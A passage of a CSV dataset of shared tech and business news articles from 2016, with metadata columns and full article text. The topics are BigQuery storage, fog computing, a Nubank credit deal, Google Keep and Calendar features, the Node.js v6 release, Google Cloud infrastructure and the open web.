reasonable solution. The runtime of evaluating this model is bound, since we wouldn't want data import to BigQuery to take forever! While every column is being encoded, Capacitor and BigQuery collect various statistics about the data - these statistics are persisted and later are used during query execution - they both feed into query planner to help compiling optimal plans, and into the dynamic runtime to choose most efficient runtime algorithms for required operators. Once all column data is encoded, it's written to Google's distributed file system - Colossus . More decisions must be made at this time, the most important one being how to shard the input data. A shard is a unit of processing at query time. We don't want too few shards, because we would like to take advantage of distributed processing capabilities of BigQuery, processing a table in parallel using potentially thousands of machines - each one reading individual shards. But we also don't want too many shards, because every unit of storage and processing has constant overhead. Future query patterns influence the sharding strategy as well. Queries that will read lots of columns may benefit from smaller shards, but queries that read only few might be better of with larger shards. Again, BigQuery has a model that evaluates all of the different factors, and comes up with an ideal number of shards. When data is sent to Colossus for permanent storage, all of it is encrypted. There are many levels of defense against unauthorized access in Google Cloud Platform , and 100% of data being encrypted at rest is one of them. Colossus is a reliable and fault tolerant file system, leveraging techniques such as Reed Solomon codes to ensure that data is never lost. In addition, immediately upon writing data to Colossus, BigQuery starts the geo-replication process, mirroring all the data into different data centers around the specified jurisdiction, be it US or EU. Having data in multiple data centers enables the highest availability, in case one data center is temporarily unavailable, and also helps query load balancing. For Cloud Platform users, all this encoding, encryption and replication are already included in the price of BigQuery storage! It doesn't end here. BigQuery has background processes that constantly look at all the stored data and check if it can be optimized even further. Perhaps initially data was loaded in small chunks, and without seeing all the data, some decisions were not globally optimal. Or perhaps some parameters of the system have changed, and there are new opportunities for storage restructuring. Or perhaps, Capacitor models got more trained and tuned, and it possible to enhance existing data. Whatever the case might be, when the system detects an opportunity to improve storage, it kickstarts data conversion tasks. These tasks do not compete with queries for resources, they run completely in parallel, and don't degrade query performance. Once the new, optimized storage is complete, it atomically replaces old storage data - without interfering with running queries. Old data will be garbage-collected later. BigQuery performs all this maintenance behind the scenes, and it's completely invisible to you, and free of charge, both money and performance. BigQuery is a true NoOps service - it lets you focus on solving your business problems, and takes care of managing the rest for you!",en
1461773798,CONTENT SHARED,6754417485681598974,-1032019229384696495,-2767767474126851917,,,,HTML,http://www.foxbusiness.com/features/2016/04/26/forget-cloud-fog-is-next-big-thing.html,Forget the Cloud - 'The Fog' Is the Next Big Thing | Fox Business,"The cloud is at the center of nearly every tech giant's strategy, from Microsoft ( MSFT ) and Intel ( INTC ) to Amazon ( AMZN ) and Google. And why shouldn't it be? Everything's moving to the cloud, where enormous data centers store millions of terabytes of information and run countless apps. More important, that's where billions of smart Internet of Things (IoT) nodes that everyone keeps talking about will connect, so enterprise users can make brilliant decisions based on real-time big-data analytics. Or not. Turns out, the cloud is not all it's been hyped to be. Enterprise CIOs are coming to realize that many of the services and apps and much of the data their users rely on for critical decision-making are better suited closer to the edge - on-premise or in smaller enterprise data centers. Considering the exploding demand for mobility, business intelligence and real-time analytics, not to mention the enormous amount of data that countless smart IoT clients and applications are expected to generate, it makes complete sense to process and store some of it locally. Say hello to the next big thing: fog computing. Continue Reading Below ADVERTISEMENT A consortium of companies , including Cisco, Dell, Microsoft, Intel and ARM, as well as researchers at Princeton University , are betting that the future of enterprise computing will be a hybrid model where information, applications and services are split between the cloud and the fog. Actually, it was Cisco that coined the term ""fog computing ."" If that sounds like a bunch of marketing hooey and silly weather metaphors, let's take a step back and try to make sense of it all. The cloud is a bunch of enormous centralized data centers owned by Apple, Google, Amazon, Facebook, and other tech companies. Instead of running applications and storing data on clients - notebooks, tablets and smartphones - we now do more and more of that in the cloud. While it is somewhat costly in terms of network bandwidth that companies and consumers have to pay for, we're mostly better off doing much of our computing and keeping our information secure on those big companies' servers and storage systems. And we can access them on any device, anytime, anywhere. So far, those data centers, backbone IP networks and cellular data networks have been able to handle the load, but sooner or later, that's going to change. The reason is IoT. When everything from cars and drones to video cameras and home appliances are transmitting enormous amounts of data from trillions of sensors, network traffic will grow exponentially. When that happens, real-time services that require split-second response times or location-awareness for accurate decision-making will need to be deployed closer to the edge to be useful. Think about it. If you run a high-tech farm in California's central valley and have sensor networks to monitor irrigation levels, soil moisture, and ambient temperature, you don't necessarily need instantaneous monitoring or an on-premise server room. You'd probably be better off outsourcing that to the cloud. On the other hand, if you're the on-site manager of a large power plant with sensors controlling thousands of critical instruments, valves and turbines, you want to know what's going on in real time. More important, machine-to-machine (M2M) interface should occur on your local network for optimum response times. Likewise, if you're driving down the freeway in your brand new Tesla and a sensor determines that tire pressure is low or the brakes are about to fail, you don't want to waste precious milliseconds sending data to the cloud and back when the car's own network is perfectly capable of communicating remedial measures. Luckily, processing power, memory speed, and storage capacity on client devices are always increasing, as are bandwidths of cellular data, Wi-Fi, Bluetooth and other network architectures. That will enable distributed fog networks in enterprise data centers, around cities, in vehicles, in homes and neighborhoods, and even on your person via wearable devices and sensors. By balancing user and IoT needs between the cloud and fog, network architects can achieve optimum adaptability and scalability. At least that's the theory. If you've been around long enough, this is all probably starting to sound strangely familiar. When I started out in engineering back in the day, computing was centralized. We accessed mainframes in corporate-wide computer rooms from dumb terminals. Then came the PC and distributed computing via local and wide area networks. The Internet and broadband networks gave rise to the cloud, and computing began to revert back to a more centralized client-server model. But before that transition could even finish taking place, we're looking to decentralize again, albeit with far more complex networks and sophisticated service models. The more things change, the more they stay the same. Especially the media hype over the next big thing.",en
1461774382,CONTENT SHARED,7818691400791322406,-2626634673110551643,-3948114837836439166,,,,HTML,http://startse.infomoney.com.br/portal/2016/04/27/18862/nubank-e-goldman-fecham-parceria-de-r-200-milhes/,Nubank e Goldman fecham parceria de R$ 200 milhões,"SÃO PAULO - A fintech brasileira mais falada dos últimos tempos acaba de fechar, nesta quarta-feira, uma parceria com o banco norte-americano Goldman Sachs & Co. Com o negócio, o Nubank receberá duas linhas de crédito num valor total de R$ 200 milhões. De acordo com a startup, o investimento será usado para financiar o portfólio de recebíveis de clientes. A primeira linha, de US$25 milhões, será usada para financiamento de recebíveis de clientes no exterior; a segunda, de R$100 milhões através de um Fundo de Investimentos em Direitos Creditórios (FIDC) para financiamento de recebíveis locais. ""O Goldman Sachs é o parceiro ideal para esse tipo de solução dado a experiência deles investindo em empresas de cartões de crédito ao redor do mundo, seu entendimento do nosso negócio e sua presença local no Brasil,"" disse David Vélez, CEO e fundador do Nubank, por meio de um comunicado enviado à imprensa. Através de fundos no exterior, a startup já levantou mais de R$300 milhões em três rodadas de investimentos com participação dos fundos Sequoia Capital, Tiger Global, Founders Fund, Kaszek Ventures e QED Investors. Embora não divulgue o número total de clientes, o Nubank afirma que a base tem crescido entre 20% e 30% ao mês. Já foram realizadas transações totalizando mais de R$ 1,4 bilhões com os cartões da empresa criada em 2013, que chamam atenção dos clientes principalmente pela facilidade das operações pela internet e por não cobrar anuidade .",pt
1461778269,CONTENT REMOVED,8497861351486449784,-1443636648652872475,-8312512943967547407,,,,HTML,https://cloud.google.com/blog/big-data/2016/04/inside-capacitor-bigquerys-next-generation-columnar-storage-format,"Inside Capacitor, BigQuery's next-generation columnar storage format | Google Cloud Big Data Blog","The "" BigQuery under the hood "" blog post gave an overview of different BigQuery subsystems. Today, we'll take a deeper dive into one of them - the storage system. We'll follow data as it's loaded into a BigQuery table.BigQuery supports several input formats - CSV, JSON, Datastore backups, AVRO - and when they're imported, data is converted into our internal representation. BigQuery uses a columnar storage that supports semistructured data - nested and repeated fields. When Google published the Dremel paper in 2010, it explained how this structure is preserved within column store. Every column, in addition to its value, also stores two numbers - definition and repetition levels. This encoding ensures that the full or partial structure of the record can be reconstructed by reading only requested columns, and never requires reading parent columns (which is the case with alternative encodings). That same paper gives an exact algorithm for both encoding the data and reconstructing the record. Example of encoding semistructured data using definition and repetition levels The definition and repetition levels encoding is so efficient for semistructured data that other open source columnar formats, such as Parquet , also adopted this technique. In addition to helping with storing and building structured records, definition and repetition levels can also be used in algorithms for efficient query processing. In 2014, Google published another paper - Storing and Querying tree-structured records in Dremel - which lays theoretical foundation and proves correctness of algorithms for filtering and aggregation operators, which take advantage of the above encoding. Now that we understand how the record structure is implemented, what about the actual values? In the last 10 years, there's been a resurgence of research in column oriented database systems. One of the classic papers in this area - Integrating Compression and Execution in Column-Oriented Database Systems - describes various techniques and encodings, such as Run Length Encoding (RLE), Dictionary encoding, Bit-Vector encoding, Frame of Reference encoding, etc. The paper discusses various tradeoffs and algorithms that can be used with these different encodings. Example of Run Length Encoding (left) and Dictionary Encoding (right). Taken from VLDB 2009 tutorial on Column Oriented Database Systems . Capacitor - the storage format in BigQuery, builds heavily on this research and employs variations and advancements of these techniques. To show one example where Capacitor advances the state of the art, we'll review the problem of reordering of input rows. This is one of the less studied problems in research (see this paper for some background). To illustrate the problem, let's consider the following example of input with 3 columns: If we were to encode these data with RLE, it would not be very optimal, since in every column every value doesn't repeat more than once, so all the run lengths would be 1, and we'll end up with total of 21 runs. However, if the input rows are reshuffled into following: we'll be able to take great advantage of RLE, and will end up with a total of 9 runs. This permutation is the optimal solution for the given input, and it produces better results than lexicographical sort by any combination of columns. Unfortunately, finding the optimal solution is known to be a NP-complete problem in computer science, which means that finding the optimal solution is not practical, even for a modest number of input rows, let alone for millions and billions of rows of typical input to BigQuery. To further complicate matters, we should notice that not all columns are born equal. Some might be very long strings, where shorter RLE runs are more beneficial than longer runs on the small integers column. Finally, we must take into account actual usage: some columns are more likely to be selected in queries than others, and some columns are more likely to be used as filters, for example in WHERE clauses. Capacitor builds an approximation model that takes into account all relevant factors and comes up with a reasonable solution. The runtime of evaluating this model is bound, since we wouldn't want data import to BigQuery to take forever! While every column is being encoded, Capacitor and BigQuery collect various statistics about the data - these statistics are persisted and later are used during query execution - they both feed into query planner to help compiling optimal plans, and into the dynamic runtime to choose most efficient runtime algorithms for required operators. Once all column data is encoded, it's written to Google's distributed file system - Colossus . More decisions must be made at this time, the most important one being how to shard the input data. A shard is a unit of processing at query time. We don't want too few shards, because we would like to take advantage of distributed processing capabilities of BigQuery, processing a table in parallel using potentially thousands of machines - each one reading individual shards. But we also don't want too many shards, because every unit of storage and processing has constant overhead. Future query patterns influence the sharding strategy as well. Queries that will read lots of columns may benefit from smaller shards, but queries that read only few might be better of with larger shards. Again, BigQuery has a model that evaluates all of the different factors, and comes up with an ideal number of shards. When data is sent to Colossus for permanent storage, all of it is encrypted. There are many levels of defense against unauthorized access in Google Cloud Platform , and 100% of data being encrypted at rest is one of them. Colossus is a reliable and fault tolerant file system, leveraging techniques such as Reed Solomon codes to ensure that data is never lost. In addition, immediately upon writing data to Colossus, BigQuery starts the geo-replication process, mirroring all the data into different data centers around the specified jurisdiction, be it US or EU. Having data in multiple data centers enables the highest availability, in case one data center is temporarily unavailable, and also helps query load balancing. For Cloud Platform users, all this encoding, encryption and replication are already included in the price of BigQuery storage! It doesn't end here. BigQuery has background processes that constantly look at all the stored data and check if it can be optimized even further. Perhaps initially data was loaded in small chunks, and without seeing all the data, some decisions were not globally optimal. Or perhaps some parameters of the system have changed, and there are new opportunities for storage restructuring. Or perhaps, Capacitor models got more trained and tuned, and it possible to enhance existing data. Whatever the case might be, when the system detects an opportunity to improve storage, it kickstarts data conversion tasks. These tasks do not compete with queries for resources, they run completely in parallel, and don't degrade query performance. Once the new, optimized storage is complete, it atomically replaces old storage data - without interfering with running queries. Old data will be garbage-collected later. BigQuery performs all this maintenance behind the scenes, and it's completely invisible to you, and free of charge, both money and performance. BigQuery is a true NoOps service - it lets you focus on solving your business problems, and takes care of managing the rest for you!",en
1461778643,CONTENT SHARED,-6484638837208285334,-1443636648652872475,-8312512943967547407,,,,HTML,http://www.greenbot.com/article/3058745/android/5-awesome-google-keep-features-you-arent-using-but-should-be.html,"5 awesome Google Keep features you aren't using, but should be","Google Keep is not preinstalled on all phones, which is a real bummer. It's one of the most focused and useful apps in Google's arsenal. On the surface it's a stylish basic note taking app, but dig deeper and it ties into several other Google services, making it easier to get things done. Here are five ways to unleash the amazing power of Google Keep. Shopping list by voice Add items to your shopping list without even touching the phone. Keep is great for making lists, for example a shopping list. If you actually title one of your lists ""shopping list,"" you can add new items to it without even opening the app. It's a simple matter of pulling up your Google voice search by tapping the mic in the search bar or using the ""OK Google"" hotword. Just say, ""Add to my shopping list,"" and you'll get a cool Google Now card that lets you list items one after another. When you're done, say ""finished"" or ""that's it"" to have everything you've added inserted into your shopping list note. You can also add single items in a single step by saying, ""Add [item] to my shopping list."" It's a remarkably well-developed feature. Reminders Reminders in your Keep notes show up in Google Now too. Down at the bottom of each note in Keep is a ""Remind me"" button. You might never have paid attention to it because you already have reminders on your phone via Google Now. However, this feature is actually tightly integrated with Google Now. When you tap the reminder button, you have the option of setting a time or location reminder. With the time, you just pick when you want a reminder notification pushed. For a location-based reminder, type in an address or the name of a location, and your device will remind you when you are nearby. All the reminders you set in Keep are accessible in Google Now-it's the same system. You have the added bonus of getting the note text right there in the reminder when you set it through Keep. Sharing lists Collaborate with shared Keep notes. Most apps use the same terminology and icons for sharing content on Android, but Keep is a bit different. It has both sharing and sending , and they mean different things. Sending is what you'd normally think of as sharing in other apps-taking the content from your note and pushing it to another app. That's in the overflow menu in Keep. Sharing, on the other hand, refers to making one of your lists available to someone else in Google Keep. Sharing a list allows one of your contacts to read and edit a note. It's a great way to keep track of chores or a shopping list (don't forget the voice features). To share a list, tap the contact plus button at the top of the screen, then enter a contact's name or email address. They'll get a message asking them to accept the invitation to manage the note. You can open the sharing menu again at any time to remove someone from the note as well. Get text from images Use OCR to make the text from a photo editable in Keep. Did you know images can be inserted into Keep notes? That's pretty straightforward, but what about extracting the text from those images? Keep can do that too, and it's a really useful feature. For example, you just snap a photo of someone's business card or a sign, then have keep turn it into editable text. The first step is getting an image in Keep. You can add a photo to a new note with the camera button at the bottom of the screen. Either snap a new image or import one you've already taken (these can be screenshots as well). For existing notes, the image option is in the overflow menu. Once you've got the pic in Keep, open the overflow menu and select ""Grab image text."" Google Keep runs optical character recognition on the image (which takes a couple seconds) and adds the text under the image. Send to Docs Move an entire Keep note to a new Google Doc for more advanced editing. With all the widgets, voice commands, image imports, and so on, your Keep notes might start to get a little ungainly. If you want to use that text for something more intricate, Keep isn't the best environment. Luckily, you can get all the text in a note into a Google Drive document in one step. Open the note you want to transfer to Docs, and go into the overflow menu. At the bottom you'll see ""Copy to Google Doc."" This option grabs all your text and images, then transfers them to a new Google Doc. The original note is left untouched, and you can truly say you have mastered Google Keep.",en
1461779066,CONTENT SHARED,1137471872769164371,-1443636648652872475,-8312512943967547407,,,,HTML,http://venturebeat.com/2016/04/27/google-calendar-for-android-can-now-find-meeting-times-that-work-for-everyone/,Google Calendar for Android can now find meeting times that work for everyone,"Google today announced a new feature for its Google Calendar application on Android that should make it a lot easier to schedule meetings. The new ""find a time"" button comes up with suggestions for meeting times that will fit in to the calendars of everyone you want to invite. The feature even takes into consideration the times when people usually have meetings in figuring out the best possible times, Google product manager Stella Schieffer wrote in a blog post . ""If there are no times that work, Calendar will look at which conflicting meetings can most easily be rescheduled,"" Schieffer wrote. Google is introducing this ""find a time"" capability after acquiring smart calendar app Timeful last year. Also last year Microsoft bought calendar app Sunrise and Salesforce bought smart calendar app Tempo AI . Earlier this month Google celebrated Google Calendar's 10th birthday by adding the mobile-only Goals feature that sets aside time for you to do things in order to meet the goals you set. The ""find a time"" feature will come to Google Calendar for iPhone and the Web as well, Schieffer wrote. For now it's only available to Google Apps for Work and Google Apps for Education users, she wrote. Google's innovative search technologies connect millions of people around the world with information every day. Founded in 1998 by Stanford Ph.D. students Larry Page and Sergey Brin, Google today is a top web property in all major glob... read more "" Get more stories like this on Twitter & Facebook",en
1461780616,CONTENT SHARED,-7992053163122498177,5127372011815639401,2698416824809687808,,,,HTML,https://nodejs.org/en/blog/announcements/v6-release/,World's Fastest Growing Open Source Platform Pushes Out New Release,"New ""Current"" version line focuses on performance improvements, increased reliability and better security for its 3.5 million users SAN FRANCISCO, April, 26, 2016 - The Node.js Foundation , a community-led and industry-backed consortium to advance the development of the Node.js platform, today announced the release of Node.js version 6 (Node.js v6). This release provides major performance improvements, increased reliability and better security. With over 3.5 million users and an annual growth rate of 100 percent, Node.js is emerging as a universal platform used for web applications, IoT, mobile, enterprise application development, and microservice architectures. The technology is ubiquitous across numerous industries, from startups to Fortune 500 companies, and is the only unified platform that full stack JavaScript developers can use for front end, back end, mobile and IoT projects. Performance improvements are key in this latest release with one of the most significant improvements coming from module loading, which is currently four times faster than Node.js version 4 (Node.js v4). This will help developers dramatically decrease the startup time of large applications for the best productivity in development cycles and more seamless experience with end users. In addition, Node.js v6 comes equipped with v8 JavaScript engine 5.0, which has improved ECMAScript 2015 (ES6) support. Ninety-three percent of ES6 features are also now supported in the Node.js v6 release, up from 56 percent for Node.js v5 and 50 percent for Node.js v4. Key features from ES6 include: default and rest parameters, destructuring, class and super keywords. Security is top-of-mind for enterprises and startups alike, and Node.js v6 has added several features that impact security, making it easier to write secure code. The new Buffer API will reduce the risk of bugs and vulnerabilities leaking into applications through a new constructor method used to create Buffer instances, as well as a zero-fill-buffers command-line flag. Using the new command line flag, developers can continue to safely use older modules that have not been updated to use the new constructor API. In addition, V8 has improved their implementation of Math.random() to be more secure - this feature is added into Node.js v6. ""The Node.js Project has done an incredible job of bringing this version to life in the timeline that we initially proposed in September 2015. It's important for us to continue to deliver new versions of Node.js equipped with all the cutting-edge JavaScript features to serve the needs of developers and to continue to improve the performance and stability enterprises rely on,"" said Mikeal Rogers, Community Manager of the Node.js Foundation. ""This release is committed to Long Term Support, which allows predictable long-term stability, reliability, performance and security to the growing number of enterprise users that are adopting Node.js as a key technology in their infrastructure."" To increase reliability of Node.js, there has been increased documentation and testing done around Node.js v6 for enterprises that are using and looking to implement the platform. Node.js release versioning follows the Semantic Versioning Specification, a specification for version numbers of software libraries similar to dependencies. Under the Node.js' Long-Term Support (LTS) , version 6 is now the ""Current"" release line while version 5 will be maintained for a few more months. In October 2016, Node.js v6 will become the LTS release and the LTS release line (version 4) will go under maintenance mode in April 2017, meaning only critical bugs, critical security fixes and documentation updates will be permitted. Users should begin transitioning from v4 to v6 in October when v6 goes into LTS. Additional Resources About Node.js Foundation Node.js is used by tens of thousands of organizations in more than 200 countries and amasses more than 3.5 million active users per month. It is the runtime of choice for high-performance, low latency applications, powering everything from enterprise applications, robots, API engines, cloud stacks and mobile websites. The Foundation is made up of a diverse group of companies including Platinum members Famous, IBM, Intel, Joyent, Microsoft, PayPal and Red Hat. Gold members include GoDaddy, NodeSource and Modulus/Progress Software, and Silver members include Apigee, AppDynamics, Codefresh, DigitalOcean, Fidelity, Google, Groupon, nearForm, New Relic, npm, Opbeat, RisingStack, Sauce Labs, SAP, StrongLoop (an IBM company), Sphinx, YLD!, and Yahoo!. Get involved here: .",en
1461789266,CONTENT SHARED,1306706744219888810,3891637997717104548,1830622984915975400,,,,HTML,https://cloud.google.com/blog/big-data/2016/04/debugging-data-transformations-using-cloud-dataflow-and-stackdriver-debugger,Debugging data transformations using Cloud Dataflow and Stackdriver Debugger | Google Cloud Big Data Blog,"Posted by Ben Chambers, Software Engineer Debugging distributed data processing can be difficult. Google Stackdriver Debugger (previously Google Cloud Debugger ) makes it easy by allowing you to request a snapshot of the execution state at a specific point. This captures the call-stack that led to the given line, as well as the variables that were in scope at each point and their values. In this post, I'd like to show you how easy it is to use Stackdriver Debugger with a Google Cloud Dataflow job using the new 1.5.1 release of the Dataflow SDK. As an example of a data transformation pipeline, we'll be using DebuggingWordCount . This example counts only those words that match a specific filter - by default the words ""Flourish"" or ""stomach."" It demonstrates a variety of debugging features including logging the words that don't match. We won't be using those logs, since we're trying to simulate the case of debugging a problem with a real pipeline that didn't have precautionary logging added in advance. I've run the pipeline with --filterPattern=Flourish,stomach and noticed that there was no output produced! Looking in the Dataflow UI, I see that my aggregators report that none of the words matched the filter and that while there's output from the WordCount.CountWords step, there's no output from the ParDo(FilterText) step. Also, the assertion in the pipeline failed. Since there was input to the ParDo(FilterText) and no output (indicated by these custom counters and looking at the number of inputs to each step) I decided to take a snapshot at the branch of the conditional that performs filtering (where the unmatchedWords is incremented). Step 1 : Run my pipeline with the debugger. All I need to do is run my pipeline on the Cloud Dataflow service and use the --enableCloudDebugger option. When I do so it prints out a message like: I can reach the Debugger UI by either clicking that link, or navigating to and selecting my project. If there are multiple pipelines running I may need to select the one I want from the menu - by default it will pick the most recent. Step 2 : Access my source code I need to make my source code available to the Debugger UI before I can see the code in the UI. This also makes it easier to take snapshots, since I can click on the line rather than needing to type in a filename and line number. There are a variety of options described in Source Code Options , including pointing at a directory in the local filesystem or Cloud Source Repository. For simplicity (and since I don't have the source code uploaded anywhere), I choose to ""View source code from local files"" and point it at the directory with my pipeline source code. Step 3 : Take a snapshot I can take a snapshot by typing a location in the text box on the right and hitting ""Enter,"" or by clicking a source code line number. Since I already have the source code visible in the UI, I navigate to the file DebuggingWordCount.java, and click on line number 148 to request a snapshot at that line: Since I'm especially interested on words that I thought should have passed the filter, I make it conditional using the following expression: Note that in the above conditional we're able to access private fields, but any time we rely on generics (eg., element() returning a KV ) we need to explicitly cast. Note: Normally, the evaluation of all conditions is limited to less than 0.01 of the CPU time. Since this condition is evaluated for every element, and the actual work for an element is relatively simple (discard it), the snapshot will be cancelled by the debugger. Therefore, I needed to run with --maxConditionCost =0.6 to get the debugger to evaluate this condition. You can specify this parameter when submitting the Dataflow job. Step 4 : Wait for snapshot to be captured Now that I've set a snapshot, the Stackdriver Debugger service communicates that to all of the running Dataflow workers. As soon as one of the workers hits the line that I put my snapshot on, I'll be able to see the snapshot capture. Step 5 : Explore the snapshot to figure out what is wrong. If I want to see what value is being processed, I can expand the ProcessContext (called c) and dig into the context . I'm looking for the element, which is stored as a WindowedValue inside the context . Poking around a bit, I can also expand the this$0 to see what filter is being used. Here I see that the filterPattern I specified ( Flourish,stomach ) didn't work because it was used as a regex. I change it to Flourish|stomach and rerun - everything looks green! That's It! Today we saw how to use Stackdriver Debugger to request snapshots from a Dataflow pipeline. We used a relatively simple example running on a few workers, but this could just as easily have been running on 500 workers over gigabytes of data, which is not an uncommon scenario in cloud-scale extract, transform and load (ETL) jobs.",en
1461789505,CONTENT SHARED,-3319960804317299025,3891637997717104548,1830622984915975400,,,,HTML,https://cloudplatform.googleblog.com/2016/04/enhanced-persistent-disks-for-Google-Compute-Engine-better-Kubernetes-and-Docker-support.html,Enhanced persistent disks for Google Compute Engine = better Kubernetes and Docker support,"The infrastructure underpinning Google Cloud Platform has always been good, and it keeps getting better. We recently increased the limit on the number of attached persistent disk storage volumes per Google Compute Engine instance from 16 to as many as 128 volumes on our largest standard instance sizes (giving us three times the capacity of the competition). We also recently increased the total quantity of attached persistent disk storage per instances from 10TB to as much as 64TB on our largest instance sizes, and introduced the ability to resize persistent disk volumes with no downtime. These changes were enabled by Google's continued innovations in data center infrastructure, in this case networking . Combined with Colossus , Google's high-performance global storage fabric, we have greatly increased the size, quantity, and flexibility of network attached storage per instance without sacrificing persistent disk's legendary rock solid performance and reliability . This ties back to one of Google Cloud Platform's core strengths: hosting Linux containers. We are committed to making GCP the best place on the web to run Docker-based workloads, building on over a decade of experience running all of Google on Linux containers. To help you realize the same benefits that we did, we created and open-sourced Kubernetes , a tool for creating and managing clusters of Docker containers, and launched Google Container Engine to provide a managed, hosted, Kubernetes-based service for Docker applications. Red Hat is a large Kubernetes user and has adopted it across its product portfolio, including making it a core component of OpenShift , its Platform as a Service offering. Working with Red Hat late last year in preparation for offering OpenShift Dedicated on Google Cloud Platform , it became clear that we needed to increase the number of attached persistent disk volumes per instance to help Red Hat efficiently bin pack Kubernetes Pods (each of which may have one or more attached volumes) across their Google Cloud Platform infrastructure. Being able to attach more persistent disk volumes per instance isn't just useful to Red Hat. In addition to better support for Kubernetes and Docker, this feature can also be used in various scenarios that require a large number of disks. For example, you keep data from different web servers on separate volumes to insure data isolation when an instance is running multiple web servers. To take advantage of this feature for your own Kubernetes clusters running on Google Compute Engine, simply set the ""KUBE_MAX_PD_VOLS"" environment variable to whatever you want the limit to be, based on the maximum number of volumes the nodes in your cluster support.",en
1461789546,CONTENT SHARED,5913609969272242724,3891637997717104548,1830622984915975400,,,,HTML,https://cloudplatform.googleblog.com/2016/04/lessons-learned-from-a-year-of-using-live-migration-in-production-on-Google-Cloud.html,Lessons learned from a year of using live migration in production on Google Cloud,"It's been a little over a year (and millions of migrations) since the last time we talked about our live migration technology and how we use it to keep your virtual machines humming along while we patch, repair and update the software and hardware infrastructure that powers Google Compute Engine . It's also an important differentiator for our platform compared to other cloud providers. Our customer base has grown exponentially in the past year, and brought with it a lot of new and interesting workloads to test the mettle of our live migration technology. The vast majority of customers and workloads have been able to go about their business without noticing our maintenance events, with a few exceptions. Down and to the right A picture is worth 1,000 words and the following graph shows the improvements we've made to live migration blackout times (the amount of time your VM is paused) over the last year ( note the log scale ): We've done millions of live migrations in the last year and as you can see from the graph, we've made significant improvements to median blackout duration and variance. The 99th percentile blackout graph is too noisy to display nicely, but we've improved that by a factor of six in the last year as well. Lessons learned The graph also shows that we didn't always get it right, and we've learned a lot from working closely with the handful of customers whose applications just don't play well with live migration. The most important thing we learned is that the current 60 second pre-migration signal is overkill for the vast majority of customers. At the same time, the 60 second signal is too short for the handful of customers that needed to perform some sort of automated drain or failover action. We also learned that the older in-place upgrade maintenance mechanism (not captured in the above graph) we use to update our hypervisor is problematic for customers whose applications are sensitive to live migration blackouts. Finally, we learned that surfacing VM migrations as system events in our ZoneOperations list led to a lot of confusion for little incremental value, since the events were also logged, in greater detail, in Compute Engine's Cloud Logs . In many cases, customers noticed an issue with their service, saw the migration system event in the ZoneOperations list, and spent a long time investigating that as the cause, only to find that it was a red herring. What's next? Aside from continuing to measure and improve the impact of our maintenance events, the first thing we're going to do is drop the 60 second notice for VMs that don't care about it. If a VM is actively monitoring the metadata maintenance event URI , we'll continue to give 60 seconds notice before the migration. If a VM is not monitoring the URI, however, we'll start the migration immediately. This will not change the behavior of VMs that are configured to terminate instead of migrate. We expect to roll this out by mid-May. In the coming quarters we'll also begin providing a longer, more usable advance notice for VMs that are configured to terminate instead of migrate. This advance notice signal will be available via the metadata server as well as via the Compute Engine API on the Instance resource . We'll also add a new API method to the Instance resource to allow customers to trigger maintenance events on a VM. This will give customers a means to determine if a VM is impacted by maintenance events and if so, to validate that its drain/failover automation works correctly. The second major change we'll make is to use live migration for all instance virtualization software stack updates, replacing in-place upgrades. This will make these maintenance events visible, actionable and less disruptive while allowing us to focus our improvements on one maintenance mechanism rather than two. Finally, we'll remove VM migration events from our Operations collections and expand on the details of the events we log in Cloud Logs. We strongly believe that fast, frequent, reliable, and above all, transparent infrastructure maintenance is essential to keeping our systems secure and to delivering the new features and services that customers want. We're pleased with the results we've seen so far, and we're excited to continue making it better. Follow us on G+ and/or Twitter to stay informed as we start rolling out these improvements. If you have any questions or concerns, please reach out - we'd love to hear from you.",en
1461789735,CONTENT SHARED,7105108082715965818,3891637997717104548,1830622984915975400,,,,HTML,http://buytaert.net/video-can-we-save-the-open-web,Video: Can we save the open web? by Dries Buytaert at SxSW,"In March, I did a presentation at SxSW that asked the audience a question I've been thinking about a lot lately: ""Can we save the open web?"". The web is centralizing around a handful of large companies that control what we see, limit creative freedom, and capture a lot of information about us. I worry that we risk losing the serendipity, creativity and decentralization that made the open web great. While there are no easy answers to this question, the presentation started a good discussion about the future of the open web, the role of algorithms in society, and how we might be able to take back control of our personal information. I'm going to use my blog to continue the conversation about the open web, since it impacts the future of Drupal . I'm including the video and slides (PDF, 76 MB) of my SxSW presentation below, as well as an overview of what I discussed. Here are the key ideas I discussed in my presentation, along with a few questions to discuss in the comments. Idea 1: An FDA-like organization to provide oversight for algorithms. While an ""FDA"" in and of itself may not be the most ideal solution, algorithms are nearly everywhere in society and are beginning to impact life-or-death decisions. I gave the example of an algorithm for a self-driving car having to decide whether to save the driver or hit a pedestrian crossing the street. There are many other life-or-death examples of how unregulated technology could impact people in the future, and I believe this is an issue we need to begin thinking about now. What do you suggest we do to make the use of algorithms fair and trustworthy? Idea 2: Open standards that will allow for information-sharing across sites and applications. Closed platforms like Facebook and Google are winning because they're able to deliver a superior user experience driven by massive amounts of data and compute power. For the vast majority of people, ease-of-use will trump most concerns around privacy and control. I believe we need to create a set of open standards that enable drastically better information-sharing and integration between websites and applications so independent websites can offer user experiences that meet or exceeds that of the large platforms. How can the Drupal community help solve this problem? Idea 3: A personal information broker that allows people more control over their data. In the past, I've written about the idea for a personal information broker that will give people control over how, where and for how long their data is used, across every single interaction on the web. This is no small feat. An audience member asked an interesting question about who will build this personal information broker -- whether it will be a private company, a government, an NGO, or a non-profit organization? I'm not really sure I have the answer, but I am optimistic that we can figure that out. I wish I had the resources to build this myself as I believe this will be a critical building block for the web. What do you think is the best way forward? Ultimately, we should be building the web that we want to use, and that we want our children to be using for decades to come. It's time to start to rethink the foundations, before it's too late. If we can move any of these ideas forward in a meaningful way, they will impact billions of people, and billions more in the future.",en
